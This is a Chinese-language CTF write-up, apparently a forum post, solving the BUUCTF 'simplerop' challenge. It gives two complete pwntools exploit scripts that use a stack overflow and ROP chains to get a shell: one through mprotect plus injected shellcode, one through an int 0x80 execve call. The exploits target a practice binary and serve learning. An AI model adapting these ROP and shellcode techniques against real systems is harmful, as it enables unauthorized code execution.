-
-
[原创][BUUCTF]Cmcc_simplerop
-
2022-1-24 01:02 25805
-
题目复现
函数很多,没有打印函数的plt,无法ret2libc
主函数可溢出
存在mprotect,可以改变bss权限后,在bss写入shell代码
存在int 0x80,可以调整寄存器利用中断执行sh
因此本题有两种思路
解题思路
- 方法一:
先用mprotect改写bss段权限,用read函数在bss段写入shell代码 - 方法二:
由于文件中没用binsh字符串,先用read函数在bss段写入‘/bin/sh’,再调整寄存器执行exec函数
调试过程
方法一
先找bss段位置
mprotect参数如下,实际操作时len取0x1000,addr要略比实际靠前,取0x80ef00,prot取二进制111,即为7
执行完函数需要pop3执行后面的函数,都可以用
read函数参数为0,bss地址,0x100方法二
int 80(eax,ebx,ecx,edx):eax为11,ebx为’/bin/sh’地址,ecx,edx缺省
此题栈比较奇怪,与ida不符,需要自己调试,下面是调试技术的展示
gdb断点应该更直观……偷懒没尝试了
得到ret地址位移为0x20,考虑原因:这道题应该不是我们平常做的c语言编译器得到的,elf结构比较奇怪,所以栈也有所不同
Payload
方法一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from pwn import * context.log_level = 'debug' context.arch = 'i386' io = process( './simplerop' ) #io = remote('node4.buuoj.cn',25205) elf = ELF( './simplerop' ) main_addr = 0x8048e26 read_addr = 0x806cd50 #pop_eax = 0x80bae06 pop_edx_ecx_ebx = 0x806e850 #int80_addr = 0x80493e1 binsh_addr = 0x80eaf80 mprotect_addr = 0x806d870 #binsh_addr = 0x80eb584 payload = b 'a' * 0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32( 0x80ea000 ) + p32( 0x1000 ) + p32( 7 ) payload + = p32(read_addr) + p32(pop_edx_ecx_ebx) + p32( 0 ) + p32(binsh_addr) + p32( 0x100 ) payload + = p32(binsh_addr) io.sendlineafter( 'it' ,payload) sleep( 0.2 ) payload2 = asm(shellcraft.sh()) io.sendline(payload2) io.interactive() |
方法二
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * context.log_level = 'debug' context.arch = 'i386' io = process( './simplerop' ) #io = remote('node4.buuoj.cn',25205) elf = ELF( './simplerop' ) main_addr = 0x8048e26 read_addr = 0x806cd50 pop_eax = 0x80bae06 pop_edx_ecx_ebx = 0x806e850 pop_ebx = 0x80481c9 int80_addr = 0x80493e1 binsh_addr = 0x80eaf80 #binsh_addr = 0x80eb584 payload = b 'a' * 0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32( 0 ) + p32(binsh_addr) + p32( 0x8 ) payload + = p32(pop_eax) + p32( 11 ) + p32(pop_edx_ecx_ebx) + p32( 0 ) + p32( 0 ) + p32(binsh_addr) + p32(int80_addr) #payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr) io.sendline(payload) io.sendline(b '/bin/sh\x00' ) io.interactive() |
总结
- 本题为除ret2libc外的两种getshell方式的展示:int80与mprotect改写权限
- 学习了非常规栈位移的调试:在elf文件比较奇怪时,要用gdb进行位移调试
- 没有解决的问题:法二中,网上payload设置binsh的地址,不能在本地调试到结果(远程却可以),报错“set_thread_area failed”,但binsh地址改为bss地址本地成功
- 没有解决的问题:法二中,ecx,edx应该是可以缺省的,但我只pop_ebx就会报错“set_thread_area failed”
希望有师傅可以解决我愚昧的问题
[2023春季班]2023,新的征程,脱壳机更新、iOS/eBPF、赠送云手机套装!一块裸板虚拟化五个容器云手机!3月25日起同时上调价格并赠送新设备!
最后于 2022-1-24 01:04
被N1co5in3编辑
,原因:
赞赏
他的文章